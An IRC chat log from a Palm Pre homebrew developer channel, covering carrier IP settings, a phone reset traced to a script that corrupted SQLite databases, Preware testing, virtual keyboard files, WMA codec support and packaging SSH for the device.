01 17:13:15 ]you have bell? Sep 01 17:13:17 since i'm the first one with the pre here Sep 01 17:13:40 and i think their not used to get "incoming" connextion on phone haha Sep 01 17:13:51 yup Sep 01 17:14:18 pre user since 27 at 9 o clock lol Sep 01 17:14:54 my previous palm was gone like 1 month ago ! .. so no cell for a month ! .. it'S hard lol Sep 01 17:16:50 im sleepy Sep 01 17:16:58 and got class tonight darnet Sep 01 17:17:25 hahahaha Sep 01 17:17:38 he'is like " what app you use to you phone ?" ... Sep 01 17:17:40 putty Sep 01 17:17:41 take a nap Sep 01 17:17:50 "okay then i will see my classs2 rep" Sep 01 17:17:52 hahahahaha Sep 01 17:18:05 to connect to your phone* Sep 01 17:19:56 RainMan: some providers don't give out public IP's Sep 01 17:20:11 RainMan: this may be by design Sep 01 17:22:27 well when i first activated the pre i was able to doit .. thay have changed something Sep 01 17:23:01 RainMan: they may have made a mistake initially putting you in a pool of public IPs also Sep 01 17:23:15 it totally depends on the carrier Sep 01 17:23:18 w8 i think i have an option in my plan for a publi cip Sep 01 17:23:44 i got "private ip provisioning" Sep 01 17:24:19 so the 10.x.y.z. is a private IP Sep 01 17:24:25 they SUCK Sep 01 17:24:28 ie not public Sep 01 17:24:28 ... Sep 01 17:24:47 you need public Sep 01 17:25:00 well they will charge a bunch to have a public Sep 01 17:25:58 oh well. there are some ways you could open a port through a NAT (port address translation, really) like this Sep 01 17:26:08 http://forums.precentral.net/web-os-development/201024-unauthorized-remote-access-pre.html Sep 01 17:26:08 hahaha they tell my "i will remove that option" Sep 01 17:26:08 hahaha Sep 01 17:26:10 nice ! Sep 01 17:26:17 RainMan: cool Sep 01 17:28:22 egaudet_work: wow Sep 01 17:28:35 egaudet_work: that's either a lie/hoax, or very intriguing Sep 01 17:29:01 destinal: but without a doubt funny Sep 01 17:29:06 i believe its a hoax Sep 01 17:29:11 you cant do screen taps from Sep 01 17:29:15 cl Sep 01 17:29:25 from what i know Sep 01 17:29:41 atlanta: who said anyone was using command line? Sep 01 17:30:09 well see that they are remotely accessing it Sep 01 17:30:11 ?? Sep 01 17:30:11 i dunno Sep 01 17:30:12 lol Sep 01 17:30:27 other undocumented ways of remotely accessing a pre may exist Sep 01 17:30:54 Whatever it is, if he is NOT lying, that must be pretty freaky watching your pre invisible tap Sep 01 17:31:30 true indeed Sep 01 17:31:35 He needs to make a video Sep 01 17:32:07 Good Sep 01 17:32:12 now in public ip ! Sep 01 17:32:12 hahaha Sep 01 17:32:32 RainMan: cool. did you ask for private IP before by mistake, or? Sep 01 17:32:49 nope Sep 01 17:32:58 i think it'S a default option for all other user Sep 01 17:33:10 maybe they're putting all pre's on them then and you have to ask to be taken off that Sep 01 17:33:18 surprised they don't want to charge you Sep 01 17:34:20 they can'T Sep 01 17:34:33 when i've activated my pre .. this option wassant there Sep 01 17:34:51 they have "added" after .. so just a little bit whining and they remove it ! Sep 01 17:34:51 ;) Sep 01 17:35:09 ah, so new subscribers from here on out may not have the option Sep 01 17:35:12 but i dont know how they think they will put all "mobile phone" with a public ipv4 ... atleast they have to go ipv6 Sep 01 17:35:55 but now i have a question .... they charge "extra" for bandwith in tethering mode ! Sep 01 17:36:11 how can they know i'm tethering my device .... that would be nice to bypass Sep 01 17:36:22 because 8$/Mb ... it's like WOOOOOOO Sep 01 17:36:39 RainMan: do they explain how to tether? Sep 01 17:36:57 yes we have to buy a "cd" with app in it Sep 01 17:36:58 RainMan: you guys don't get your first 5gb free? Sep 01 17:37:08 (free as in included in plan?0 Sep 01 17:37:11 Templarian i'm unlimited data! Sep 01 17:37:28 but they have put a line for "tethering" .. Sep 01 17:37:56 but maybe they think the only way for tethering is by usb and their own software ! Sep 01 17:37:56 ok, so I think that would only be if you use their tethering suppotr Sep 01 17:37:58 support Sep 01 17:38:05 they dont know "homebrew" i thinl ll Sep 01 17:38:15 well gotta go eat ! Sep 01 17:38:33 They know it exists... they just expect most won't see it. Sep 01 17:38:35 so i think new bellmo user get screwed for the ip thing ;) Sep 01 17:38:59 thx folks for your help ! Sep 01 17:39:03 bb later Sep 01 17:39:03 RainMan: how many GB is unlimited for BellMo? Sep 01 17:39:11 Templarian it'S UNLIMITED =oP Sep 01 17:39:13 realy Sep 01 17:39:24 old plan from my treo700wx Sep 01 17:39:24 No fine print. Nice. Sep 01 17:39:51 i think this plan will not exist anymore in a near future Sep 01 17:40:09 i have my pre for less than a week .. and i've busted 1gig already lol Sep 01 17:40:29 I only use 400mb on mine listening to radio and internet. Sep 01 17:40:29 Damn "ampache" Sep 01 17:40:33 We have two data cards on a really and truely unlimited plan from Sprint, which no longer exists. We are VERY CAREFUL to not allow sprint to mess with those two. Sep 01 17:40:58 well bbs ! Sep 01 17:42:44 It's interesting to know that bellmo has a supported app for tethering though Sep 01 17:42:59 probably uses DUN mode Sep 01 17:47:48 destinal: nice Sep 01 17:47:55 destinal: anyone post it yet? Sep 01 17:48:46 PuffTheMagic: looks like RainMan would have to buy a CD Sep 01 17:49:01 CD of what? Sep 01 17:49:03 destinal: ./liblunaservice-armv7.so: undefined reference to `json_get_string' Sep 01 17:49:03 ./liblunaservice-armv7.so: undefined reference to `json_get_int' Sep 01 17:49:03 ./liblunaservice-armv7.so: undefined reference to `json_get_bool' Sep 01 17:49:11 which json lib provides those Sep 01 17:49:16 i still dont have my emu working Sep 01 17:50:04 PuffTheMagic: Bellmo makes (sells?) a CD for Pre tethering, no idea how it works, RainMan doesn't have the disc Sep 01 17:50:14 ohhhh Sep 01 17:50:19 lol Sep 01 17:50:45 probably does something like the usb passthrough, DUN Sep 01 17:52:02 destinal: any idea about that json lib... Sep 01 17:52:09 PuffTheMagic: booting emulator Sep 01 17:52:09 i guess i can jsut add stub functions in it Sep 01 17:52:15 to make linking happy Sep 01 17:52:27 since they will be correct when its installed Sep 01 17:53:28 PuffTheMagic: libmjson Sep 01 17:53:38 hmm ok Sep 01 17:53:39 thanks Sep 01 18:17:25 * atlanta just bought a new ps3 slim for $255 + tax Sep 01 18:19:06 * oil_work thinks atlanta should have gotten a 360 Sep 01 18:19:24 lool Sep 01 18:19:25 lol Sep 01 18:19:28 i got one Sep 01 18:19:34 got the ps3 for blu ray Sep 01 18:20:02 so Sep 01 18:20:20 you bought a slim blue ray player for $255+tax? Sep 01 18:20:42 better than the one i was gonna buy for $299 Sep 01 18:20:56 and its sony syncs with my tv Sep 01 18:21:16 lol Sep 01 18:21:23 so it works out lol Sep 01 18:23:21 oil_work: u got 360 Sep 01 18:23:22 ? Sep 01 18:23:31 yeah Sep 01 18:23:39 * oil_work DID make the 360 app afterall Sep 01 18:23:48 really Sep 01 18:23:51 thought u made a ps3 one Sep 01 18:24:02 * oil_work shakes fist in anger Sep 01 18:24:25 * oil_work goes to vending machine, brb Sep 01 18:28:04 oil_work: true Sep 01 18:28:10 AnOutsider: lmfao Sep 01 18:28:18 mmm Sep 01 18:28:22 A-6 is delicious Sep 01 18:34:46 destinal it's like 15$/month for the tethering option i think ! +8$/mb rape ... err rate ! ;) Sep 01 18:35:22 wow Sep 01 18:35:35 imagine if my cable connection was at $8 per mb Sep 01 18:35:45 but i will look if i can get a copy of it ! one of my friend work at bell Sep 01 18:35:47 that would be sad Sep 01 18:36:44 realy sad ! .. i would kill myself when the bill arrive at my door lol Sep 01 18:39:58 hello folks! Sep 01 18:40:03 it's been a while. Sep 01 18:41:04 hi Sep 01 18:41:26 hi Sep 01 18:41:51 hey Sep 01 18:41:52 its that dude Sep 01 18:42:08 yep that's me Sep 01 18:42:22 oh, the active home screen got released without a donation Sep 01 18:45:32 FINALLY! Sep 01 18:45:36 well good. Sep 01 18:45:40 well, I was doing things the hard way, to get preware installed. I was using ssh, never realized that webos quick install works on linux Sep 01 18:45:50 now, things look good Sep 01 18:47:02 What active home screen are we talking about? Sep 01 18:48:11 I assume AHS from http://apps.forwebos.com/ahs/ Sep 01 18:48:38 I was just pulling that up, cool Sep 01 18:48:50 yeah Sep 01 18:48:58 and vnc Sep 01 18:49:55 eh Sep 01 18:50:07 since the vnc doesnt use a service Sep 01 18:50:26 it pretty much means what you install on your pc is just sending screenshots Sep 01 18:50:29 like a webserver Sep 01 18:50:34 which the pre app downloads Sep 01 18:51:54 wow Sep 01 18:52:02 ahs demo definately has problems Sep 01 18:52:11 settings page = now the app is fail Sep 01 18:54:13 .part Sep 01 18:55:39 I didnt find AHS too useful as is Sep 01 18:55:54 plus the whole "if you uninstall it you're fucked" thing didnt tickle my fance Sep 01 18:56:01 s/fance/fancy Sep 01 18:56:19 farked :) Sep 01 19:03:12 im eating frosted animal crackers for breakfast Sep 01 19:03:18 anyone ever notice firefox playing gifs faster than IE or Chrome? Sep 01 19:03:49 What sucks is that I am unable to play gif on an sms message Sep 01 19:04:19 wouldnt that be considered an MMS then? Sep 01 19:04:27 the pre doesnt play animated images in mms? Sep 01 19:05:09 nope Sep 01 19:05:21 suckage Sep 01 19:07:39 Yeah but for some reason it works on aim Avatar Sep 01 19:08:37 I really don't care Sep 01 19:11:44 oh duh, you have to specify frames/second (regarding the firefox playing images faster) Sep 01 19:11:48 thatdude: yea i dont understand how taht works either Sep 01 19:11:57 still weird that firefox decides on its own fps, while IE and chrome and safari seemt o be standard Sep 01 19:18:14 hey isnt that PreVNC a just a rip Sep 01 19:18:17 from like A-VNC Sep 01 19:18:20 or something like that Sep 01 19:19:08 http://code.google.com/p/a-vnc/ Sep 01 19:19:22 i thought it looked really damn familiar Sep 01 19:19:33 looks like he just resource editored the thing lol Sep 01 19:30:18 woah another blocked game Sep 01 19:40:57 Don't know why my IRC always opens up two windows for this chat. lol Sep 01 19:41:07 yey Sep 01 19:41:09 /disco Sep 01 19:41:15 oh Sep 01 19:41:17 it kinda sucks Sep 01 19:41:21 im not concerned Sep 01 19:43:20 actually Sep 01 19:43:22 it really sucks Sep 01 19:46:10 really, really sucks Sep 01 19:50:55 and it only has 30 puzzles Sep 01 19:53:51 wtf? my phone just informed me I need to restart and issue a restore Sep 01 19:53:58 presumably you guys have seen this behavior? Sep 01 19:55:03 * oil hasnt Sep 01 19:56:09 I wish I'd have read the screen more carefully Sep 01 19:56:35 it's doing the intro again as if I did a webos doctor or something Sep 01 19:56:52 yeah, it thinks I'm a new activation? Sep 01 19:56:59 working one second, fucking crazy the next Sep 01 19:57:12 * jcrawford has not seen that behavior Sep 01 19:57:35 Anyone here tried out PreVNC? Sep 01 19:58:17 it's doing a restore from my palm profile Sep 01 19:58:21 seriously, wtf just happened Sep 01 20:00:07 did you do a reset? Sep 01 20:00:24 no Sep 01 20:00:36 I had jsut looked at the calendar barely 40 minutes ago Sep 01 20:00:53 suddnely my phone vibrates and it says: you must reboot and do a restore. reboot now? and it wouldn't let me cancle Sep 01 20:01:09 now it can't restore because the sprint signal is shitty here and I can't change the wifi settings because it's a new install (apparently) Sep 01 20:02:03 * oil has no clue Sep 01 20:02:31 I'd wonder if sprint/palm remotely webdoctored me because of mytether, but you guys have never heard of it Sep 01 20:02:51 Pre101: I'm about to install it & see if there's any way to get it working on Ubuntu, otherwise i have to start up my Win7 comp Sep 01 20:03:31 wierd... I can get into the palm over the usb0 interface and via the wifi even though this restore wont work Sep 01 20:03:48 and all my shit is still there Sep 01 20:03:51 it just went bonkers Sep 01 20:04:03 Install any new apps or anything? Sep 01 20:04:13 not today Sep 01 20:04:21 afaik the phone was working normally until 16:00 Sep 01 20:04:24 -0400 Sep 01 20:04:53 Mine's been having some issues with restarting for no reason, but no restore yet.. Sep 01 20:06:47 jettero: could it be that someone did a remote wipe? Sep 01 20:07:00 no it seems not since all my shit is still on there Sep 01 20:07:11 Is homebrew intact? Did you have it rooted to check? Sep 01 20:07:11 what's still there? Sep 01 20:07:22 remote wipe doesn't wipe the whole device Sep 01 20:07:28 just stock app stuff Sep 01 20:07:38 all my apps, my usb0 network settings, my nagger daemon (like the nagger.sh) all my media/internal stuff Sep 01 20:07:57 all that would probably be unchanged Sep 01 20:08:00 what about your data? Sep 01 20:08:23 contacts, emails, palm profile, etc Sep 01 20:08:25 what do you mean by data if you don't mean all my data? Sep 01 20:08:28 oh, I really have no idea Sep 01 20:08:33 lunasysmgr started in firstuse mode Sep 01 20:08:38 I can't get past the profile login Sep 01 20:08:40 yup probably remote wipe Sep 01 20:08:48 remote wipe doesn't do much Sep 01 20:09:06 well, I can't log in via my profile so I can't get past this fucking first use app Sep 01 20:09:12 I can log into my profile on the website though Sep 01 20:09:43 jettero: were you connected to Exchange ActiveSync? Sep 01 20:10:00 dunno Sep 01 20:10:10 doubtful? Sep 01 20:10:11 do you use a corporate exchange server for email? Sep 01 20:10:16 I really don't use any ms products at all Sep 01 20:10:41 would it show on https://ps.palmws.com/palmcsext/console/pages/AcctMgmtPage.xhtml?rvn=1 if someone did a remote wipe? Sep 01 20:10:52 not sure if it logs it Sep 01 20:11:29 this is the first I've heard of remote wipe happening without the user's knowledge or ms exchange administrator intervention Sep 01 20:12:01 kk ... Sep 01 20:12:03 bizarre Sep 01 20:12:24 wll, how do you get past this first use bs? Sep 01 20:12:43 should I just make another palm profile or something? Sep 01 20:13:09 probably a good idea Sep 01 20:13:14 I'm just a little weirded out Sep 01 20:13:28 * oil resets destinals phone Sep 01 20:13:57 I'm superpissed off (like swallow a firsbe time) ... Sep 01 20:14:10 between this and the remote tap presses on that other user's phone I wonder if we have some strange attacks going on in the wild Sep 01 20:14:12 this is the best $600 alpha-quality device I've ever bought Sep 01 20:14:21 remote tap presses? Sep 01 20:14:32 v4lyfe2: no idea if it's a hoax or not, but Sep 01 20:14:35 you payed $600? Sep 01 20:14:39 yeah, I paid cash Sep 01 20:14:43 my old phone broke... Sep 01 20:14:43 ouch Sep 01 20:14:43 oil: I payed $600 too Sep 01 20:14:56 actually i should say my company did Sep 01 20:15:05 I would ebay instead Sep 01 20:15:34 ah but ebay isn't on my corner Sep 01 20:15:39 and i am inpatient Sep 01 20:15:41 v4lyfe2: http://forums.precentral.net/web-os-development/201024-unauthorized-remote-access-pre.html Sep 01 20:16:02 doesn't sound real, but we don't know everything that runs on every port necessarily, do we? Sep 01 20:16:22 yeah Sep 01 20:16:29 i would be soo surprised if that was real Sep 01 20:16:41 because frankly doing the riples would be like a crazy framework Sep 01 20:16:51 ah, looks like maybe it was just a capacitive touchscreen issue Sep 01 20:16:57 and i don't see why i would spend the time doing that as an attacker when i can do everything behind the scenes Sep 01 20:17:16 yeah, that's why I was wondering, unless you were showing off, what would be the point Sep 01 20:17:20 found another attacker surface today Sep 01 20:17:31 palm_security_docs--; Sep 01 20:17:35 oh wait Sep 01 20:17:48 (palm_security_docs == undefined) == true Sep 01 20:17:58 heh Sep 01 20:18:00 true enough Sep 01 20:18:14 did you know that any app can invoke any scene of any other application? Sep 01 20:18:18 and pass parameters? Sep 01 20:18:27 yeah Sep 01 20:18:34 AND when that scene gets pushed, the execution context changes from that of your app to the other app. Sep 01 20:18:39 ANY scene Sep 01 20:18:40 I did a touch on the first use file and removed their stupid minimal args... Sep 01 20:18:50 on account of being *in* the device I can at least get past that fucking thing Sep 01 20:19:18 jettero: but now you don't have a palm profile associated any more? (for better or worse) Sep 01 20:19:20 I'm really beginning to hate this phone... perhaps a blackberry would have been a better choice. Then I could do things like change the text message sound and rely on the device Sep 01 20:19:27 destinal: dunno Sep 01 20:19:38 jettero: check to make sure Sep 01 20:19:44 but I bet your data is gone in stock apps Sep 01 20:19:57 I wonder if it logs the remote wipe in /var/log Sep 01 20:20:01 so you can see Sep 01 20:20:13 how can I check if the "stock app" data is missing? cuz nothing else is Sep 01 20:20:32 jettero: calendars, emails, contacts? Sep 01 20:20:51 I was using all google.. Sep 01 20:21:06 phone call logs Sep 01 20:21:13 sms messages Sep 01 20:21:18 not all of it is googel Sep 01 20:21:23 s/gel/gle/ Sep 01 20:21:23 destinal meant: not all of it is google Sep 01 20:21:40 it seems to have forogtten my passowrds for my google-apps accounts Sep 01 20:21:49 and my first name and shit Sep 01 20:21:53 yeah, I guess I got erased Sep 01 20:21:58 yeah, sounds like remote wipe to me Sep 01 20:22:15 well, peachy Sep 01 20:22:43 I'm sure I have my palm profile credentials correct. I wonder why I can't do the stupid restore Sep 01 20:23:04 maybe remote wipe erases your palm profile? Sep 01 20:23:15 possible Sep 01 20:23:16 I've never tried it Sep 01 20:23:19 but hte site let me log in Sep 01 20:23:23 hmm Sep 01 20:23:55 you could try doctor and reassociate profile but no idea if it would work Sep 01 20:24:24 I've never heard of anything like this, seriously. I know that doesn't help being the first one.. Sep 01 20:25:03 did you check /var/log? Sep 01 20:25:48 no Sep 01 20:25:50 pulling Sep 01 20:27:11 oh, I see what happened Sep 01 20:27:17 wow, naggerd is a bad idea Sep 01 20:27:32 ? Sep 01 20:27:41 my nagger just happened to be running an sql when luna was doing something. It was totally not able to handle the fact that it couldn't get a lock and c rashed Sep 01 20:27:43 (I could have told you that, but what happened?) Sep 01 20:27:46 it then set first use and freaked out Sep 01 20:27:50 ah Sep 01 20:28:31 so try a cold restart Sep 01 20:28:38 no need Sep 01 20:28:41 everything is up and running Sep 01 20:28:50 it did a reboot after it rebuild the PlamDatabase.db3 stuff Sep 01 20:28:56 aha Sep 01 20:29:17 so rebuilding it had the same effect as a partial wipe Sep 01 20:29:22 oy drr,d Sep 01 20:29:24 it seems Sep 01 20:29:28 I have everything kinda back up... Sep 01 20:29:36 *shrug Sep 01 20:29:37 * Sep 01 20:29:46 I'm on a conf call in like 2 minutes Sep 01 20:29:47 no idea why you can't get into palm profile, though Sep 01 20:30:13 I got it, no worries Sep 01 20:30:24 the first use thing won't work, but I just circumnavigated that Sep 01 20:30:59 all right, I'm going to heavily mark up the Pager Nagger thing as likely to eventually destroy your databases Sep 01 20:31:07 hehe Sep 01 20:31:10 it's a bad idea anyway Sep 01 20:31:25 it's a bad idea but completely necessary Sep 01 20:31:33 how the fuck are you supposed to use this phone for work? Sep 01 20:31:42 well IT isn't necessary, no Sep 01 20:31:46 something that does the same thing IS Sep 01 20:32:04 you certainly don't need it in a shell script for crying out loud Sep 01 20:32:38 and sqlite is SINGLE user Sep 01 20:33:05 trying to run sqlite binaries on stuff open in another process is asking for corruption Sep 01 20:33:32 even if locking works, then luna just freaks out and nukes it to rebuild Sep 01 20:33:49 yeah Sep 01 20:33:54 but it is necessary Sep 01 20:33:58 I need to find a solution for this Sep 01 20:34:01 I'm damn depressed Sep 01 20:34:02 the proper way to do it is with a service Sep 01 20:34:07 this is solved on older phones Sep 01 20:34:09 or a headless app Sep 01 20:34:21 or both Sep 01 20:34:25 yeah Sep 01 20:34:33 well, I don't know any java... I guess I could try to do it in a service Sep 01 20:35:32 well, I think it could all be done in an app Sep 01 20:35:50 yeah, I kinda think so too... was reading about mojo and it feels like it could be done without even a service Sep 01 20:35:52 the only thing that couldn't would be the LED thing Sep 01 20:35:57 iff you can get to palmdatabases from mojo... Sep 01 20:36:02 and LED's could be done with the LED service Sep 01 20:36:41 you may need a com.palm namespace on your app to read the SMS status and have full control over the vibrate motor Sep 01 20:36:56 but that's no big deal Sep 01 20:37:17 it's a big deal because I'm on call tonight and have no real way to be on call Sep 01 20:37:35 well I guess use the bad idea that works, for now :) Sep 01 20:37:42 heh Sep 01 20:37:49 hopefully it won't kill your phone again before we can get something better going Sep 01 20:38:38 heh Sep 01 20:38:48 I know what you mean though, I'm on call in a couple weeks and will need this too Sep 01 20:38:57 whatever the real solution is Sep 01 20:39:38 yeah, I'm glad you're interested in it too Sep 01 20:39:46 I'm going to figure this out if it means suicide or getting fired Sep 01 20:40:06 heh, hopefully it won't come to either one :P Sep 01 20:40:51 indeed Sep 01 20:40:56 I'll be back on later wanting to talk about this Sep 01 20:41:17 k Sep 01 20:45:02 folks.. need help with openvpn.. trying to find palmpre.zip thats in the instructions at http://www.webos-internals.org/wiki/OpenVPN_for_Palm_Pre Sep 01 20:46:27 so what does that pager nagger script do? Sep 01 20:48:54 Someone needs to just patch the messaging app with a timer interval Sep 01 20:49:34 http://www.webos-internals.org/wiki/Pager_Nagger (updated) Sep 01 21:07:28 I had to leave early, but have any of you guys had any luck setting up usbnet in linux with a custom kernel? I know it works in Ubuntu since that's what the wiki author claims, but I'm trying to set this up in Slackware 13.0 Sep 01 21:08:14 How do I simulate going into USB drive mode and then disconnecting? Sep 01 21:13:36 morning Sep 01 21:17:33 * rwhitby reminds the channel about http://ipkg.preware.org/feeds/testing/ - there's an alpha of Preware 0.7.8 in there ready for alpha testing ... Sep 01 21:17:56 rwhitby: Do you know how to fake a USB drive connect/disconnect? Sep 01 21:18:28 rwhitby: What's this Preware stuff again? Sep 01 21:19:03 ~google preware Sep 01 21:19:59 Sorry, will do :) Sep 01 21:22:59 rwhitby: NICE! Sep 01 21:23:07 Haven't looked into that Sep 01 21:23:16 About to ssh into my pre and wget/install it :) Sep 01 21:29:53 Good day. Sep 01 21:41:44 iphone fanboy review of the virtual keyboard: http://www.stopgeek.com/onscreen-keyboard-for-palm-pre.html :-) Sep 01 21:43:17 That review is funny... Sep 01 21:43:28 You never cease to amuse rod. Sep 01 21:43:29 hahaha, "it's not simple" Really? I thought clicking a button in Preware is pretty simple... Sep 01 21:43:33 It's to bad they can't have half the freedom we do Sep 01 21:43:53 Yeah it's easy as pie.. Just dumb Apple Fanboys Sep 01 21:46:01 gloating over the bug ridden app. Sep 01 21:46:22 It is _not_ bug ridden. It's feature limited. and that is hardly ERIC's fault, it's palm's. Sep 01 21:46:24 jeeeze Sep 01 21:46:27 Anyone else working on a nice little retort? ;) Sep 01 21:46:46 I didn't notice that comments were enabled Sep 01 21:46:56 has anyone hacked the command-resource-handlers.json file? Sep 01 21:47:03 Alternatively, we could _not feed the trolls_ Sep 01 21:47:05 i.e. to try and put other types in there? Sep 01 21:47:16 we could.... Sep 01 21:47:18 i.e. wma Sep 01 21:48:43 spotter, i'm not sure what you're talking about, but are you refering to resource-handlers, as in what to do with things in a web environment? like video in the web browser? Sep 01 21:53:11 boot logos down. wallpapers down. time for full theming :( Sep 01 21:54:57 zsoc, more like attachments Sep 01 21:55:10 /usr/palm/command-resource-handlers.json Sep 01 21:55:18 i see Sep 01 21:55:26 has entries like { "extn":"mp3", "mime":"audio/mp3", "appId":"com.palm.app.streamingmusicplayer", "streamable":true } Sep 01 21:55:39 wondering if it be hacked to send a wma to it, what would happen Sep 01 21:55:44 the gstreamer framework has ffmpeg Sep 01 21:55:56 I would take a look, but unfortunately I just managed to invoke a compiling error so long that it took up my entire bash history. Sep 01 21:55:59 has same wma "strings" as my ubuntu version Sep 01 21:56:28 does ffmpeg suppose wma? Sep 01 21:56:31 *support? Sep 01 21:57:18 pretty sure Sep 01 21:57:31 per wikipedia Sep 01 21:57:32 The FFmpeg project has reverse-engineered and re-implemented the WMA codecs (except WMA Pro, WMA Lossless and WMA Voice) to allow their use on POSIX-compliant operating systems such as Linux. Sep 01 22:00:40 start playing with gst-launch Sep 01 22:02:30 oil: so, anything you think we need to change before 0.8.0 ? Sep 01 22:04:12 zsoc, need to get dropbear on it first Sep 01 22:04:17 anyone going to make an ipkg for that? Sep 01 22:04:22 and put it in preware? Sep 01 22:04:33 or in the feed so preware could installs it Sep 01 22:04:36 spotter, nah, just install terminal Sep 01 22:04:41 I do Sep 01 22:04:47 but that will be a pain Sep 01 22:05:09 but I'll try Sep 01 22:05:11 spotter: ipkg for what? Sep 01 22:05:27 dropbear Sep 01 22:05:34 so that it can be installed via preware or the like Sep 01 22:05:38 spotter: it's already in optware Sep 01 22:05:41 right Sep 01 22:05:46 but not installable w/o rooting Sep 01 22:05:53 or w/o novacom Sep 01 22:06:01 looking for an easier way to get it besides terminal Sep 01 22:06:26 yeah, we're considering how to do an optware installer ipkg that is useable in Preware. The trouble is how to do the username that the user has to choose for security reasons. Sep 01 22:07:18 (cause anyone who is not willing to get linux access to install dropbear is likely to choose a poor password and not have any regard for security over evdo. Sep 01 22:08:10 so we'd have to make it ssh key access only, and work out how to upload the authorized_keys file securely Sep 01 22:08:33 hmm Sep 01 22:08:56 terminal and rounded corners dont play nice Sep 01 22:11:35 Hi.. Sep 01 22:11:44 zsoc, anyone know how to play files w/ gst-launch Sep 01 22:11:51 doesn't seem to like playbin w/ file uri's Sep 01 22:12:49 I just added the virtual Keyboard, I would like to know about its jason files who define its characters... Sep 01 22:15:01 I just added the virtual Keyboard, I would like to know about its jason files who define its characters... I checked in: usr/palm/frameworks/mojo/submissions/191.151/resources/en_us, which file are belong to the VirtualKeyboard? : kbchars_fulltable.json / kbchars_fulltable_qwertz.json / kbchars_table.json / kbchars_table_azerty.json / kbchars_table_qwertz.json or all of them (or I forgot some files?) ? Plz Help me Sep 01 22:15:03 Thanks.. Sep 01 22:15:20 all of them Sep 01 22:15:36 all of them belong to the virtual Keyboard? Sep 01 22:15:41 but only kbchars_fulltable.json is actually being used at this time. Sep 01 22:15:45 yes Sep 01 22:16:13 what u mean by that that only kbchars_fulltable.json is being used? Sep 01 22:16:41 when I click a key he gets his letter from kbchars_fulltable.json? Sep 01 22:16:48 or from anoter file? Sep 01 22:17:00 whoa Sep 01 22:17:06 didnt realize palm included vi Sep 01 22:17:29 Rick_work? Sep 01 22:17:30 DdAaDd when you click a key it gets it's letter from kbchars_fulltable.json yes. Sep 01 22:17:30 going to have to break out my jkhl keys Sep 01 22:17:48 So what are those other file use for? Sep 01 22:17:49 right now, that is the only one of the json files that is being used. Sep 01 22:18:22 the other files are there for other language bindings. If, for instance, your had the primary language of the Pre set to French, the the azerty file would be the one you would want to use. Sep 01 22:18:33 but at present we are not yet SUPPORTING them. Sep 01 22:18:42 Right now, it's "Fulltable" only Sep 01 22:19:22 but qwertz and azerty are other keyboard layouts that are common, and palm expects to ship pre's eventually with qwertz and azerty key layouts Sep 01 22:19:27 so, we are trying to be ready. Sep 01 22:19:39 but for now. kbchars_full is the only one that matter. Sep 01 22:20:00 Ok.. Sep 01 22:20:38 another stupid questions.. Sep 01 22:20:40 DdAaDd see this post http://forums.precentral.net/web-os-development/198051-screen-keyboard-bugs-functionality-enhancements-51.html#post1860496 Sep 01 22:21:10 those 2 blank button at the left and right button... what's there use? Sep 01 22:21:28 they are grab points to drag the keyboard around the screen with Sep 01 22:21:48 eventually, they will also be used as meta keys to switch between language packs. Sep 01 22:21:55 but for now, they're just grab points Sep 01 22:22:35 Ok. Sep 01 22:22:37 Thanks. Sep 01 22:23:18 Does anyone in here have the quick install 2.02? Sep 01 22:23:35 The new one destroyed my messaging with this avatar thing Sep 01 22:25:11 hmm, prelim results would seem to indicate that even though I can't play an mp3 w/ gst-launch it gives a totally different error when trying to play a wma Sep 01 22:25:48 How come only Ubuntu is supported ... Sep 01 22:25:59 alkos333, for what? Sep 01 22:26:12 zsoc: novacom Sep 01 22:26:53 why would Palm choose to support 5000 different Linux distributions? Sep 01 22:26:56 Rick_work: last thing.. to open virtual keyboard in emulator I press double click on PageUp, how to close it? Sep 01 22:27:30 esc Sep 01 22:27:44 Thanks. Sep 01 22:28:17 rwhitby: Umm... why not just release the source? Sep 01 22:28:40 They aren't making any money from the Mojo SDK anyway. Sep 01 22:28:42 alkos333: cause they don't have to? Sep 01 22:28:45 oh well Sep 01 22:28:50 off to do some more real work Sep 01 22:29:30 rwhitby: Yes, don't have to support any linux distros either.... Sep 01 22:29:40 rwhitby: don't have to release a new phone.. Sep 01 22:29:55 alkos333, they have to support the one they use to dev with? Sep 01 22:31:12 rwhitby, So it would seem like the compiler is freaking out about be using a non-arm version of the gstreamer libs for the cross-compile. At this point, I'm not sure what to do. I'd have to compile glibs locally on arm.. or use something like scratch box. Sep 01 22:31:33 Darn it.. Sep 01 22:31:44 ? Sep 01 22:31:51 I can't figure out how to get the usb0 interface to show up when I plug-in usbnet enabled pre Sep 01 22:34:10 I have to be missing something from my kernel configuration.. Sep 01 22:34:16 but I'm not sure... at this point.... Sep 01 22:34:20 zsoc, it would seem the first impediment to getting wma working is that the pre doesn't include libgstasf.so (and asfdemux that is part of it) Sep 01 22:35:15 spotter, so then ffmpg doesn't handle wma? Sep 01 22:35:47 no, it does Sep 01 22:35:50 it doesn't handle demuxing Sep 01 22:35:58 spotter, you'll need a nifty cross compiling environment with arm-compiled glibs to get a working version of libgstasf :P good luck. if you can do it i'll give you some sorce to compile lol Sep 01 22:35:58 asf is just the container Sep 01 22:36:32 I can build a cross compiler environment (I was one of the people working on IBM's linux watch back in the day) Sep 01 22:36:49 heck, I was actually running the compiler on our dev box for the watch Sep 01 22:37:15 I had nfs working so just created an nfs share w/ the build environment and mounted and chrooted into it Sep 01 22:37:32 that probably be esier here than building a proper cross compiling environment Sep 01 22:37:38 just compile it on the pre itself Sep 01 22:37:55 anyways Sep 01 22:37:58 spotter, great, lemme give you the source for my patched gstcamsrc so you can compile it for me :P Sep 01 22:38:09 next week I'll have time to look at it further Sep 01 22:38:15 major interview on thurs Sep 01 22:38:24 ah, g'luck Sep 01 22:38:30 does the pre have nfs support? Sep 01 22:38:38 i believe not Sep 01 22:38:44 hmm Sep 01 22:38:47 that sucks Sep 01 22:39:00 though we have the kernel source Sep 01 22:39:06 so should be possible to build it as a module Sep 01 22:39:08 well i recall someone complaining about it, maybe they just had no idea what they were doing :P Sep 01 22:40:24 uh Sep 01 22:40:26 they are wrong Sep 01 22:40:31 its in /proc/filesystems Sep 01 22:40:43 then there you have it :) Sep 01 22:40:54 abliet cat /proc/filesystems in terminal looks ugly as it doesn't do tabs Sep 01 22:41:01 so its nodevnfs and nodevnfs4 Sep 01 22:41:16 vs nodev\tnfs and nodev\nfsv4 as it is on my ubuntu box Sep 01 22:41:47 I really wish i knew what you were talking about. setting up a cross-compiling environment is proving to be a hassle for me. Sep 01 22:41:58 zsoc, you know how to setup a chroot? Sep 01 22:42:05 spotter, yeah Sep 01 22:42:15 so the idea would be, setup an arm chroot Sep 01 